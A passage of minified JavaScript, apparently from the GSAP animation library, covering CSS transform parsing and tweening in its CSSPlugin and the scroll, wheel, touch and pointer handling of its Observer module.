s=l?t.getBBox()[p?"width":"height"]:t[f],he(v?c/s*m:c/100*s);if(d[p?"width":"height"]=m+(g?u:r),o=~n.indexOf("adius")||"em"===r&&t.appendChild&&!h?t:t.parentNode,l&&(o=(t.ownerSVGElement||{}).parentNode),o&&o!==Sn&&o.appendChild||(o=Sn.body),(a=o._gsap)&&v&&a.width&&p&&a.time===Tt.time&&!a.uncache)return he(c/a.width*m);if(!v||"height"!==n&&"width"!==n)(v||"%"===u)&&!Ii[Ti(o,"display")]&&(d.position=Ti(t,"position")),o===t&&(d.position="static"),o.appendChild(kn),s=kn[f],o.removeChild(kn),d.position="absolute";else{var y=t.style[n];t.style[n]=m+r,s=t[f],y?t.style[n]=y:Pi(t,n)}return p&&v&&((a=ue(o)).time=Tt.time,a.width=o[f]),he(g?s*c/m:s&&c?m/s*c:0)},Ni=function(e,t,n,i){var r;return Mn||Ci(),t in ii&&"transform"!==t&&~(t=ii[t]).indexOf(",")&&(t=t.split(",")[0]),Zn[t]&&"transform"!==t?(r=Gi(e,i),r="transformOrigin"!==t?r[t]:r.svg?r.origin:Vi(Ti(e,vi))+" "+r.zOrigin+"px"):(!(r=e.style[t])||"auto"===r||i||~(r+"").indexOf("calc("))&&(r=ji[t]&&ji[t](e,t,n)||Ti(e,t)||de(e,t)||("opacity"===t?1:0)),n&&!~(r+"").trim().indexOf(" ")?zi(e,t,r,n)+n:r},Ri=function(e,t,n,i){if(!n||"none"===n){var r=Si(t,e,1),s=r&&Ti(e,r,1);s&&s!==n?(t=r,n=s):"borderColor"===t&&(n=Ti(e,"borderTopColor"))}var o,a,l,c,u,d,p,h,f,m,g,v=new un(this._pt,e.style,t,0,1,rn),b=0,w=0;if(v.b=n,v.e=i,n+="","auto"==(i+="")&&(d=e.style[t],e.style[t]=i,i=Ti(e,t)||i,d?e.style[t]=d:Pi(e,t)),xt(o=[n,i]),i=o[1],l=(n=o[0]).match(j)||[],(i.match(j)||[]).length){for(;a=j.exec(i);)p=a[0],f=i.substring(b,a.index),u?u=(u+1)%5:"rgba("!==f.substr(-5)&&"hsla("!==f.substr(-5)||(u=1),p!==(d=l[w++]||"")&&(c=parseFloat(d)||0,g=d.substr((c+"").length),"="===p.charAt(1)&&(p=me(c,p)+g),h=parseFloat(p),m=p.substr((h+"").length),b=j.lastIndex-m.length,m||(m=m||y.units[t]||g,b===i.length&&(i+=m,v.e+=m)),g!==m&&(c=zi(e,t,d,m)||0),v._pt={_next:v._pt,p:f||1===w?f:",",s:c,c:h-c,m:u&&u<4||"zIndex"===t?Math.round:0});v.c=b<i.length?i.substring(b,i.length):""}else v.r="display"===t&&"none"===i?ci:li;return q.test(i)&&(v.e=0),this._pt=v,v},$i={top:"0%",bottom:"100%",left:"0%",right:"100%",center:"50%"},Fi=function(e,t){if(t.tween&&t.tween._time===t.tween._dur){var n,i,r,s=t.t,o=s.style,a=t.u,l=s._gsap;if("all"===a||!0===a)o.cssText="",i=1;else for(r=(a=a.split(",")).length;--r>-1;)n=a[r],Zn[n]&&(i=1,n="transformOrigin"===n?vi:gi),Pi(s,n);i&&(Pi(s,gi),l&&(l.svg&&s.removeAttribute("transform"),Gi(s,1),l.uncache=1,bi(o)))}},ji={clearProps:function(e,t,n,i,r){if("isFromStart"!==r.data){var s=e._pt=new un(e._pt,t,n,0,0,Fi);return s.u=i,s.pr=-10,s.tween=r,e._props.push(n),1}}},Hi=[1,0,0,1,0,0],qi={},Bi=function(e){return"matrix(1, 0, 0, 1, 0, 0)"===e||"none"===e||!e},Wi=function(e){var t=Ti(e,gi);return Bi(t)?Hi:t.substr(7).match(F).map(he)},Xi=function(e,t){var n,i,r,s,o=e._gsap||ue(e),a=e.style,l=Wi(e);return o.svg&&e.getAttribute("transform")?"1,0,0,1,0,0"===(l=[(r=e.transform.baseVal.consolidate().matrix).a,r.b,r.c,r.d,r.e,r.f]).join(",")?Hi:l:(l!==Hi||e.offsetParent||e===Cn||o.svg||(r=a.display,a.display="block",(n=e.parentNode)&&e.offsetParent||(s=1,i=e.nextElementSibling,Cn.appendChild(e)),l=Wi(e),r?a.display=r:Pi(e,"display"),s&&(i?n.insertBefore(e,i):n?n.appendChild(e):Cn.removeChild(e))),t&&l.length>6?[l[0],l[1],l[4],l[5],l[12],l[13]]:l)},Yi=function(e,t,n,i,r,s){var o,a,l,c=e._gsap,u=r||Xi(e,!0),d=c.xOrigin||0,p=c.yOrigin||0,h=c.xOffset||0,f=c.yOffset||0,m=u[0],g=u[1],v=u[2],y=u[3],b=u[4],w=u[5],_=t.split(" "),x=parseFloat(_[0])||0,T=parseFloat(_[1])||0;n?u!==Hi&&(a=m*y-g*v)&&(l=x*(-g/a)+T*(m/a)-(m*w-g*b)/a,x=x*(y/a)+T*(-v/a)+(v*w-y*b)/a,T=l):(x=(o=Ai(e)).x+(~_[0].indexOf("%")?x/100*o.width:x),T=o.y+(~(_[1]||_[0]).indexOf("%")?T/100*o.height:T)),i||!1!==i&&c.smooth?(b=x-d,w=T-p,c.xOffset=h+(b*m+w*v)-b,c.yOffset=f+(b*g+w*y)-w):c.xOffset=c.yOffset=0,c.xOrigin=x,c.yOrigin=T,c.smooth=!!i,c.origin=t,c.originIsAbsolute=!!n,e.style[vi]="0px 0px",s&&(Li(s,c,"xOrigin",d,x),Li(s,c,"yOrigin",p,T),Li(s,c,"xOffset",h,c.xOffset),Li(s,c,"yOffset",f,c.yOffset)),e.setAttribute("data-svg-origin",x+" "+T)},Gi=function(e,t){var n=e._gsap||new Nt(e);if("x"in n&&!t&&!n.uncache)return n;var i,r,s,o,a,l,c,u,d,p,h,f,m,g,v,b,w,_,x,T,E,S,C,M,k,A,O,P,L,D,I,z,N=e.style,R=n.scaleX<0,$="px",F="deg",j=getComputedStyle(e),H=Ti(e,vi)||"0";return i=r=s=l=c=u=d=p=h=0,o=a=1,n.svg=!(!e.getCTM||!Oi(e)),j.translate&&("none"===j.translate&&"none"===j.scale&&"none"===j.rotate||(N[gi]=("none"!==j.translate?"translate3d("+(j.translate+" 0 0").split(" ").slice(0,3).join(", ")+") ":"")+("none"!==j.rotate?"rotate("+j.rotate+") ":"")+("none"!==j.scale?"scale("+j.scale.split(" ").join(",")+") ":"")+("none"!==j[gi]?j[gi]:"")),N.scale=N.rotate=N.translate="none"),g=Xi(e,n.svg),n.svg&&(n.uncache?(k=e.getBBox(),H=n.xOrigin-k.x+"px "+(n.yOrigin-k.y)+"px",M=""):M=!t&&e.getAttribute("data-svg-origin"),Yi(e,M||H,!!M||n.originIsAbsolute,!1!==n.smooth,g)),f=n.xOrigin||0,m=n.yOrigin||0,g!==Hi&&(_=g[0],x=g[1],T=g[2],E=g[3],i=S=g[4],r=C=g[5],6===g.length?(o=Math.sqrt(_*_+x*x),a=Math.sqrt(E*E+T*T),l=_||x?Jn(x,_)*Kn:0,(d=T||E?Jn(T,E)*Kn+l:0)&&(a*=Math.abs(Math.cos(d*Qn))),n.svg&&(i-=f-(f*_+m*T),r-=m-(f*x+m*E))):(z=g[6],D=g[7],O=g[8],P=g[9],L=g[10],I=g[11],i=g[12],r=g[13],s=g[14],c=(v=Jn(z,L))*Kn,v&&(M=S*(b=Math.cos(-v))+O*(w=Math.sin(-v)),k=C*b+P*w,A=z*b+L*w,O=S*-w+O*b,P=C*-w+P*b,L=z*-w+L*b,I=D*-w+I*b,S=M,C=k,z=A),u=(v=Jn(-T,L))*Kn,v&&(b=Math.cos(-v),I=E*(w=Math.sin(-v))+I*b,_=M=_*b-O*w,x=k=x*b-P*w,T=A=T*b-L*w),l=(v=Jn(x,_))*Kn,v&&(M=_*(b=Math.cos(v))+x*(w=Math.sin(v)),k=S*b+C*w,x=x*b-_*w,C=C*b-S*w,_=M,S=k),c&&Math.abs(c)+Math.abs(l)>359.9&&(c=l=0,u=180-u),o=he(Math.sqrt(_*_+x*x+T*T)),a=he(Math.sqrt(C*C+z*z)),v=Jn(S,C),d=Math.abs(v)>2e-4?v*Kn:0,h=I?1/(I<0?-I:I):0),n.svg&&(M=e.getAttribute("transform"),n.forceCSS=e.setAttribute("transform","")||!Bi(Ti(e,gi)),M&&e.setAttribute("transform",M))),Math.abs(d)>90&&Math.abs(d)<270&&(R?(o*=-1,d+=l<=0?180:-180,l+=l<=0?180:-180):(a*=-1,d+=d<=0?180:-180)),t=t||n.uncache,n.x=i-((n.xPercent=i&&(!t&&n.xPercent||(Math.round(e.offsetWidth/2)===Math.round(-i)?-50:0)))?e.offsetWidth*n.xPercent/100:0)+$,n.y=r-((n.yPercent=r&&(!t&&n.yPercent||(Math.round(e.offsetHeight/2)===Math.round(-r)?-50:0)))?e.offsetHeight*n.yPercent/100:0)+$,n.z=s+$,n.scaleX=he(o),n.scaleY=he(a),n.rotation=he(l)+F,n.rotationX=he(c)+F,n.rotationY=he(u)+F,n.skewX=d+F,n.skewY=p+F,n.transformPerspective=h+$,(n.zOrigin=parseFloat(H.split(" ")[2])||!t&&n.zOrigin||0)&&(N[vi]=Vi(H)),n.xOffset=n.yOffset=0,n.force3D=y.force3D,n.renderTransform=n.svg?tr:Pn?er:Zi,n.uncache=0,n},Vi=function(e){return(e=e.split(" "))[0]+" "+e[1]},Ui=function(e,t,n){var i=Ze(t);return he(parseFloat(t)+parseFloat(zi(e,"x",n+"px",i)))+i},Zi=function(e,t){t.z="0px",t.rotationY=t.rotationX="0deg",t.force3D=0,er(e,t)},Ki="0deg",Qi="0px",Ji=") ",er=function(e,t){var n=t||this,i=n.xPercent,r=n.yPercent,s=n.x,o=n.y,a=n.z,l=n.rotation,c=n.rotationY,u=n.rotationX,d=n.skewX,p=n.skewY,h=n.scaleX,f=n.scaleY,m=n.transformPerspective,g=n.force3D,v=n.target,y=n.zOrigin,b="",w="auto"===g&&e&&1!==e||!0===g;if(y&&(u!==Ki||c!==Ki)){var _,x=parseFloat(c)*Qn,T=Math.sin(x),E=Math.cos(x);x=parseFloat(u)*Qn,_=Math.cos(x),s=Ui(v,s,T*_*-y),o=Ui(v,o,-Math.sin(x)*-y),a=Ui(v,a,E*_*-y+y)}m!==Qi&&(b+="perspective("+m+Ji),(i||r)&&(b+="translate("+i+"%, "+r+"%) "),(w||s!==Qi||o!==Qi||a!==Qi)&&(b+=a!==Qi||w?"translate3d("+s+", "+o+", "+a+") ":"translate("+s+", "+o+Ji),l!==Ki&&(b+="rotate("+l+Ji),c!==Ki&&(b+="rotateY("+c+Ji),u!==Ki&&(b+="rotateX("+u+Ji),d===Ki&&p===Ki||(b+="skew("+d+", "+p+Ji),1===h&&1===f||(b+="scale("+h+", "+f+Ji),v.style[gi]=b||"translate(0, 0)"},tr=function(e,t){var n,i,r,s,o,a=t||this,l=a.xPercent,c=a.yPercent,u=a.x,d=a.y,p=a.rotation,h=a.skewX,f=a.skewY,m=a.scaleX,g=a.scaleY,v=a.target,y=a.xOrigin,b=a.yOrigin,w=a.xOffset,_=a.yOffset,x=a.forceCSS,T=parseFloat(u),E=parseFloat(d);p=parseFloat(p),h=parseFloat(h),(f=parseFloat(f))&&(h+=f=parseFloat(f),p+=f),p||h?(p*=Qn,h*=Qn,n=Math.cos(p)*m,i=Math.sin(p)*m,r=Math.sin(p-h)*-g,s=Math.cos(p-h)*g,h&&(f*=Qn,o=Math.tan(h-f),r*=o=Math.sqrt(1+o*o),s*=o,f&&(o=Math.tan(f),n*=o=Math.sqrt(1+o*o),i*=o)),n=he(n),i=he(i),r=he(r),s=he(s)):(n=m,s=g,i=r=0),(T&&!~(u+"").indexOf("px")||E&&!~(d+"").indexOf("px"))&&(T=zi(v,"x",u,"px"),E=zi(v,"y",d,"px")),(y||b||w||_)&&(T=he(T+y-(y*n+b*r)+w),E=he(E+b-(y*i+b*s)+_)),(l||c)&&(o=v.getBBox(),T=he(T+l/100*o.width),E=he(E+c/100*o.height)),o="matrix("+n+","+i+","+r+","+s+","+T+","+E+")",v.setAttribute("transform",o),x&&(v.style[gi]=o)},nr=function(e,t,n,i,r){var s,o,a=360,l=k(r),c=parseFloat(r)*(l&&~r.indexOf("rad")?Kn:1)-i,u=i+c+"deg";return l&&("short"===(s=r.split("_")[1])&&(c%=a)!=c%180&&(c+=c<0?a:-360),"cw"===s&&c<0?c=(c+36e9)%a-~~(c/a)*a:"ccw"===s&&c>0&&(c=(c-36e9)%a-~~(c/a)*a)),e._pt=o=new un(e._pt,t,n,i,c,si),o.e=u,o.u="deg",e._props.push(n),o},ir=function(e,t){for(var n in t)e[n]=t[n];return e},rr=function(e,t,n){var i,r,s,o,a,l,c,u=ir({},n._gsap),d=n.style;for(r in u.svg?(s=n.getAttribute("transform"),n.setAttribute("transform",""),d[gi]=t,i=Gi(n,1),Pi(n,gi),n.setAttribute("transform",s)):(s=getComputedStyle(n)[gi],d[gi]=t,i=Gi(n,1),d[gi]=s),Zn)(s=u[r])!==(o=i[r])&&"perspective,force3D,transformOrigin,svgOrigin".indexOf(r)<0&&(a=Ze(s)!==(c=Ze(o))?zi(n,r,s,c):parseFloat(s),l=parseFloat(o),e._pt=new un(e._pt,i,r,a,l-a,ri),e._pt.u=c||0,e._props.push(r));ir(i,u)};pe("padding,margin,Width,Radius",(function(e,t){var n="Top",i="Right",r="Bottom",s="Left",o=(t<3?[n,i,r,s]:[n+s,n+i,r+i,r+s]).map((function(n){return t<2?e+n:"border"+n+e}));ji[t>1?"border"+e:e]=function(e,t,n,i,r){var s,a;if(arguments.length<4)return s=o.map((function(t){return Ni(e,t,n)})),5===(a=s.join(" ")).split(s[0]).length?s[0]:a;s=(i+"").split(" "),a={},o.forEach((function(e,t){return a[e]=s[t]=s[t]||s[(t-1)/2|0]})),e.init(t,a,r)}}));var sr,or,ar={name:"css",register:Ci,targetTest:function(e){return e.style&&e.nodeType},init:function(e,t,n,i,r){var s,o,a,l,c,u,d,p,h,f,m,g,v,b,w,_,x,T,E,S,C=this._props,M=e.style,A=n.vars.startAt;for(d in Mn||Ci(),this.styles=this.styles||_i(e),_=this.styles.props,this.tween=n,t)if("autoRound"!==d&&(o=t[d],!re[d]||!Bt(d,t,n,i,e,r)))if(c=typeof o,u=ji[d],"function"===c&&(c=typeof(o=o.call(n,i,e,r))),"string"===c&&~o.indexOf("random(")&&(o=at(o)),u)u(this,e,d,o,n)&&(w=1);else if("--"===d.substr(0,2))s=(getComputedStyle(e).getPropertyValue(d)+"").trim(),o+="",wt.lastIndex=0,wt.test(s)||(p=Ze(s),h=Ze(o)),h?p!==h&&(s=zi(e,d,s,h)+h):p&&(o+=p),this.add(M,"setProperty",s,o,i,r,0,0,d),C.push(d),_.push(d,0,M[d]);else if("undefined"!==c){if(A&&d in A?(s="function"==typeof A[d]?A[d].call(n,i,e,r):A[d],k(s)&&~s.indexOf("random(")&&(s=at(s)),Ze(s+"")||"auto"===s||(s+=y.units[d]||Ze(Ni(e,d))||""),"="===(s+"").charAt(1)&&(s=Ni(e,d))):s=Ni(e,d),l=parseFloat(s),(f="string"===c&&"="===o.charAt(1)&&o.substr(0,2))&&(o=o.substr(2)),a=parseFloat(o),d in ii&&("autoAlpha"===d&&(1===l&&"hidden"===Ni(e,"visibility")&&a&&(l=0),_.push("visibility",0,M.visibility),Li(this,M,"visibility",l?"inherit":"hidden",a?"inherit":"hidden",!a)),"scale"!==d&&"transform"!==d&&~(d=ii[d]).indexOf(",")&&(d=d.split(",")[0])),m=d in Zn)if(this.styles.save(d),g||((v=e._gsap).renderTransform&&!t.parseTransform||Gi(e,t.parseTransform),b=!1!==t.smoothOrigin&&v.smooth,(g=this._pt=new un(this._pt,M,gi,0,1,v.renderTransform,v,0,-1)).dep=1),"scale"===d)this._pt=new un(this._pt,v,"scaleY",v.scaleY,(f?me(v.scaleY,f+a):a)-v.scaleY||0,ri),this._pt.u=0,C.push("scaleY",d),d+="X";else{if("transformOrigin"===d){_.push(vi,0,M[vi]),T=void 0,E=void 0,S=void 0,E=(T=(x=o).split(" "))[0],S=T[1]||"50%","top"!==E&&"bottom"!==E&&"left"!==S&&"right"!==S||(x=E,E=S,S=x),T[0]=$i[E]||E,T[1]=$i[S]||S,o=T.join(" "),v.svg?Yi(e,o,0,b,0,this):((h=parseFloat(o.split(" ")[2])||0)!==v.zOrigin&&Li(this,v,"zOrigin",v.zOrigin,h),Li(this,M,d,Vi(s),Vi(o)));continue}if("svgOrigin"===d){Yi(e,o,1,b,0,this);continue}if(d in qi){nr(this,v,d,l,f?me(l,f+o):o);continue}if("smoothOrigin"===d){Li(this,v,"smooth",v.smooth,o);continue}if("force3D"===d){v[d]=o;continue}if("transform"===d){rr(this,o,e);continue}}else d in M||(d=Si(d)||d);if(m||(a||0===a)&&(l||0===l)&&!ni.test(o)&&d in M)a||(a=0),(p=(s+"").substr((l+"").length))!==(h=Ze(o)||(d in y.units?y.units[d]:p))&&(l=zi(e,d,s,h)),this._pt=new un(this._pt,m?v:M,d,l,(f?me(l,f+a):a)-l,m||"px"!==h&&"zIndex"!==d||!1===t.autoRound?ri:ai),this._pt.u=h||0,p!==h&&"%"!==h&&(this._pt.b=s,this._pt.r=oi);else if(d in M)Ri.call(this,e,d,s,f?f+o:o);else if(d in e)this.add(e,d,s||e[d],f?f+o:o,i,r);else if("parseTransform"!==d){V(d,o);continue}m||(d in M?_.push(d,0,M[d]):_.push(d,1,s||e[d])),C.push(d)}w&&cn(this)},render:function(e,t){if(t.tween._time||!On())for(var n=t._pt;n;)n.r(e,n.d),n=n._next;else t.styles.revert()},get:Ni,aliases:ii,getSetter:function(e,t,n){var i=ii[t];return i&&i.indexOf(",")<0&&(t=i),t in Zn&&t!==vi&&(e._gsap.x||Ni(e,"x"))?n&&An===n?"scale"===t?hi:pi:(An=n||{})&&("scale"===t?fi:mi):e.style&&!P(e.style[t])?ui:~t.indexOf("-")?di:en(e,t)},core:{_removeProperty:Pi,_getMatrix:Xi}};Tn.utils.checkPrefix=Si,Tn.core.getStyleSaver=_i,or=pe("x,y,z,scale,scaleX,scaleY,xPercent,yPercent,"+(sr="rotation,rotationX,rotationY,skewX,skewY")+",transform,transformOrigin,svgOrigin,force3D,smoothOrigin,transformPerspective",(function(e){Zn[e]=1})),pe(sr,(function(e){y.units[e]="deg",qi[e]=1})),ii[or[13]]="x,y,z,scale,scaleX,scaleY,xPercent,yPercent,"+sr,pe("0:translateX,1:translateY,2:translateZ,8:rotate,8:rotationZ,8:rotateZ,9:rotateX,10:rotateY",(function(e){var t=e.split(":");ii[t[1]]=or[t[0]]})),pe("x,y,z,top,right,bottom,left,width,height,fontSize,padding,margin,perspective",(function(e){y.units[e]="px"})),Tn.registerPlugin(ar);var lr=Tn.registerPlugin(ar)||Tn,cr=lr.core.Tween;e.Back=Wn,e.Bounce=Yn,e.CSSPlugin=ar,e.Circ=Un,e.Cubic=Fn,e.Elastic=Bn,e.Expo=Vn,e.Linear=Rn,e.Power0=Ln,e.Power1=Dn,e.Power2=In,e.Power3=zn,e.Power4=Nn,e.Quad=$n,e.Quart=jn,e.Quint=Hn,e.Sine=Gn,e.SteppedEase=Xn,e.Strong=qn,e.TimelineLite=$t,e.TimelineMax=$t,e.TweenLite=Ut,e.TweenMax=cr,e.default=lr,e.gsap=lr,"undefined"==typeof window||window!==e?Object.defineProperty(e,"__esModule",{value:!0}):delete window.default})),function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self).window=e.window||{})}(this,(function(e){"use strict";var n,i,r,s,o,a,l,c,u,d,p,h,f,m=function(){return n||"undefined"!=typeof window&&(n=window.gsap)&&n.registerPlugin&&n},g=1,v=[],y=[],b=[],w=Date.now,_=function(e,t){return t},x=function(e,t){return~b.indexOf(e)&&b[b.indexOf(e)+1][t]},T=function(e){return!!~d.indexOf(e)},E=function(e,t,n,i,r){return e.addEventListener(t,n,{passive:!1!==i,capture:!!r})},S=function(e,t,n,i){return e.removeEventListener(t,n,!!i)},C="scrollLeft",M="scrollTop",k=function(){return p&&p.isPressed||y.cache++},A=function(e,t){var n=function n(i){if(i||0===i){g&&(r.history.scrollRestoration="manual");var s=p&&p.isPressed;i=n.v=Math.round(i)||(p&&p.iOS?1:0),e(i),n.cacheID=y.cache,s&&_("ss",i)}else(t||y.cache!==n.cacheID||_("ref"))&&(n.cacheID=y.cache,n.v=e());return n.v+n.offset};return n.offset=0,e&&n},O={s:C,p:"left",p2:"Left",os:"right",os2:"Right",d:"width",d2:"Width",a:"x",sc:A((function(e){return arguments.length?r.scrollTo(e,P.sc()):r.pageXOffset||s[C]||o[C]||a[C]||0}))},P={s:M,p:"top",p2:"Top",os:"bottom",os2:"Bottom",d:"height",d2:"Height",a:"y",op:O,sc:A((function(e){return arguments.length?r.scrollTo(O.sc(),e):r.pageYOffset||s[M]||o[M]||a[M]||0}))},L=function(e,t){return(t&&t._ctx&&t._ctx.selector||n.utils.toArray)(e)[0]||("string"==typeof e&&!1!==n.config().nullTargetWarn?console.warn("Element not found:",e):null)},D=function(e,t){var i=t.s,r=t.sc;T(e)&&(e=s.scrollingElement||o);var a=y.indexOf(e),l=r===P.sc?1:2;!~a&&(a=y.push(e)-1),y[a+l]||E(e,"scroll",k);var c=y[a+l],u=c||(y[a+l]=A(x(e,i),!0)||(T(e)?r:A((function(t){return arguments.length?e[i]=t:e[i]}))));return u.target=e,c||(u.smooth="smooth"===n.getProperty(e,"scrollBehavior")),u},I=function(e,t,n){var i=e,r=e,s=w(),o=s,a=t||50,l=Math.max(500,3*a),c=function(e,t){var l=w();t||l-s>a?(r=i,i=e,o=s,s=l):n?i+=e:i=r+(e-r)/(l-o)*(s-o)};return{update:c,reset:function(){r=i=n?0:i,o=s=0},getVelocity:function(e){var t=o,a=r,u=w();return(e||0===e)&&e!==i&&c(e),s===o||u-o>l?0:(i+(n?a:-a))/((n?u:s)-t)*1e3}}},z=function(e,t){return t&&!e._gsapAllow&&e.preventDefault(),e.changedTouches?e.changedTouches[0]:e},N=function(e){var t=Math.max.apply(Math,e),n=Math.min.apply(Math,e);return Math.abs(t)>=Math.abs(n)?t:n},R=function(){var e,t,i,r;(u=n.core.globals().ScrollTrigger)&&u.core&&(e=u.core,t=e.bridge||{},i=e._scrollers,r=e._proxies,i.push.apply(i,y),r.push.apply(r,b),y=i,b=r,_=function(e,n){return t[e](n)})},$=function(e){return n=e||m(),!i&&n&&"undefined"!=typeof document&&document.body&&(r=window,s=document,o=s.documentElement,a=s.body,d=[r,s,o,a],n.utils.clamp,f=n.core.context||function(){},c="onpointerenter"in a?"pointer":"mouse",l=F.isTouch=r.matchMedia&&r.matchMedia("(hover: none), (pointer: coarse)").matches?1:"ontouchstart"in r||navigator.maxTouchPoints>0||navigator.msMaxTouchPoints>0?2:0,h=F.eventTypes=("ontouchstart"in o?"touchstart,touchmove,touchcancel,touchend":"onpointerdown"in o?"pointerdown,pointermove,pointercancel,pointerup":"mousedown,mousemove,mouseup,mouseup").split(","),setTimeout((function(){return g=0}),500),R(),i=1),i};O.op=P,y.cache=0;var F=function(){function e(e){this.init(e)}var m;return e.prototype.init=function(e){i||$(n)||console.warn("Please gsap.registerPlugin(Observer)"),u||R();var t=e.tolerance,d=e.dragMinimum,m=e.type,g=e.target,y=e.lineHeight,b=e.debounce,_=e.preventDefault,x=e.onStop,C=e.onStopDelay,M=e.ignore,A=e.wheelSpeed,F=e.event,j=e.onDragStart,H=e.onDragEnd,q=e.onDrag,B=e.onPress,W=e.onRelease,X=e.onRight,Y=e.onLeft,G=e.onUp,V=e.onDown,U=e.onChangeX,Z=e.onChangeY,K=e.onChange,Q=e.onToggleX,J=e.onToggleY,ee=e.onHover,te=e.onHoverEnd,ne=e.onMove,ie=e.ignoreCheck,re=e.isNormalizer,se=e.onGestureStart,oe=e.onGestureEnd,ae=e.onWheel,le=e.onEnable,ce=e.onDisable,ue=e.onClick,de=e.scrollSpeed,pe=e.capture,he=e.allowClicks,fe=e.lockAxis,me=e.onLockAxis;this.target=g=L(g)||o,this.vars=e,M&&(M=n.utils.toArray(M)),t=t||1e-9,d=d||0,A=A||1,de=de||1,m=m||"wheel,touch,pointer",b=!1!==b,y||(y=parseFloat(r.getComputedStyle(a).lineHeight)||22);var ge,ve,ye,be,we,_e,xe,Te=this,Ee=0,Se=0,Ce=e.passive||!_,Me=D(g,O),ke=D(g,P),Ae=Me(),Oe=ke(),Pe=~m.indexOf("touch")&&!~m.indexOf("pointer")&&"pointerdown"===h[0],Le=T(g),De=g.ownerDocument||s,Ie=[0,0,0],ze=[0,0,0],Ne=0,Re=function(){return Ne=w()},$e=function(e,t){return(Te.event=e)&&M&&~M.indexOf(e.target)||t&&Pe&&"touch"!==e.pointerType||ie&&ie(e,t)},Fe=function(){var e=Te.deltaX=N(Ie),n=Te.deltaY=N(ze),i=Math.abs(e)>=t,r=Math.abs(n)>=t;K&&(i||r)&&K(Te,e,n,Ie,ze),i&&(X&&Te.deltaX>0&&X(Te),Y&&Te.deltaX<0&&Y(Te),U&&U(Te),Q&&Te.deltaX<0!=Ee<0&&Q(Te),Ee=Te.deltaX,Ie[0]=Ie[1]=Ie[2]=0),r&&(V&&Te.deltaY>0&&V(Te),G&&Te.deltaY<0&&G(Te),Z&&Z(Te),J&&Te.deltaY<0!=Se<0&&J(Te),Se=Te.deltaY,ze[0]=ze[1]=ze[2]=0),(be||ye)&&(ne&&ne(Te),ye&&(q(Te),ye=!1),be=!1),_e&&!(_e=!1)&&me&&me(Te),we&&(ae(Te),we=!1),ge=0},je=function(e,t,n){Ie[n]+=e,ze[n]+=t,Te._vx.update(e),Te._vy.update(t),b?ge||(ge=requestAnimationFrame(Fe)):Fe()},He=function(e,t){fe&&!xe&&(Te.axis=xe=Math.abs(e)>Math.abs(t)?"x":"y",_e=!0),"y"!==xe&&(Ie[2]+=e,Te._vx.update(e,!0)),"x"!==xe&&(ze[2]+=t,Te._vy.update(t,!0)),b?ge||(ge=requestAnimationFrame(Fe)):Fe()},qe=function(e){if(!$e(e,1)){var t=(e=z(e,_)).clientX,n=e.clientY,i=t-Te.x,r=n-Te.y,s=Te.isDragging;Te.x=t,Te.y=n,(s||Math.abs(Te.startX-t)>=d||Math.abs(Te.startY-n)>=d)&&(q&&(ye=!0),s||(Te.isDragging=!0),He(i,r),s||j&&j(Te))}},Be=Te.onPress=function(e){$e(e,1)||e&&e.button||(Te.axis=xe=null,ve.pause(),Te.isPressed=!0,e=z(e),Ee=Se=0,Te.startX=Te.x=e.clientX,Te.startY=Te.y=e.clientY,Te._vx.reset(),Te._vy.reset(),E(re?g:De,h[1],qe,Ce,!0),Te.deltaX=Te.deltaY=0,B&&B(Te))},We=Te.onRelease=function(e){if(!$e(e,1)){S(re?g:De,h[1],qe,!0);var t=!isNaN(Te.y-Te.startY),i=Te.isDragging,s=i&&(Math.abs(Te.x-Te.startX)>3||Math.abs(Te.y-Te.startY)>3),o=z(e);!s&&t&&(Te._vx.reset(),Te._vy.reset(),_&&he&&n.delayedCall(.08,(function(){if(w()-Ne>300&&!e.defaultPrevented)if(e.target.click)e.target.click();else if(De.createEvent){var t=De.createEvent("MouseEvents");t.initMouseEvent("click",!0,!0,r,1,o.screenX,o.screenY,o.clientX,o.clientY,!1,!1,!1,!1,0,null),e.target.dispatchEvent(t)}}))),Te.isDragging=Te.isGesturing=Te.isPressed=!1,x&&i&&!re&&ve.restart(!0),H&&i&&H(Te),W&&W(Te,s)}},Xe=function(e){return e.touches&&e.touches.length>1&&(Te.isGesturing=!0)&&se(e,Te.isDragging)},Ye=function(){return(Te.isGesturing=!1)||oe(Te)},Ge=function(e){if(!$e(e)){var t=Me(),n=ke();je((t-Ae)*de,(n-Oe)*de,1),Ae=t,Oe=n,x&&ve.restart(!0)}},Ve=function(e){if(!$e(e)){e=z(e,_),ae&&(we=!0);var t=(1===e.deltaMode?y:2===e.deltaMode?r.innerHeight:1)*A;je(e.deltaX*t,e.deltaY*t,0),x&&!re&&ve.restart(!0)}},Ue=function(e){if(!$e(e)){var t=e.clientX,n=e.clientY,i=t-Te.x,r=n-Te.y;Te.x=t,Te.y=n,be=!0,x&&ve.restart(!0),(i||r)&&He(i,r)}},Ze=function(e){Te.event=e,ee(Te)},Ke=function(e){Te.event=e,te(Te)},Qe=function(e){return $e(e)||z(e,_)&&ue(Te)};ve=Te._dc=n.delayedCall(C||.25,(function(){Te._vx.reset(),Te._vy.reset(),ve.pause(),x&&x(Te)})).pause(),Te.deltaX=Te.deltaY=0,Te._vx=I(0,50,!0),Te._vy=I(0,50,!0),Te.scrollX=Me,Te.scrollY=ke,Te.isDragging=Te.isGesturing=Te.isPressed=!1,f(this),Te.enable=function(e){return Te.isEnabled||(E(Le?De:g,"scroll",k),m.indexOf("scroll")>=0&&E(Le?De:g,"scroll",Ge,Ce,pe),m.indexOf("wheel")>=0&&E(g,"wheel",Ve,Ce,pe),(m.indexOf("touch")>=0&&l||m.indexOf("pointer")>=0)&&(E(g,h[0],Be,Ce,pe),E(De,h[2],We),E(De,h[3],We),he&&E(g,"click",Re,!0,!0),ue&&E(g,"click",Qe),se&&E(De,"gesturestart",Xe),oe&&E(De,"gestureend",Ye),ee&&E(g,c+"enter",Ze),te&&E(g,c+"leave",Ke),ne&&E(g,c+"move",Ue)),Te.isEnabled=!0,e&&e.type&&Be(e),le&&le(Te)),Te},Te.disable=function(){Te.isEnabled&&(v.filter((function(e){return 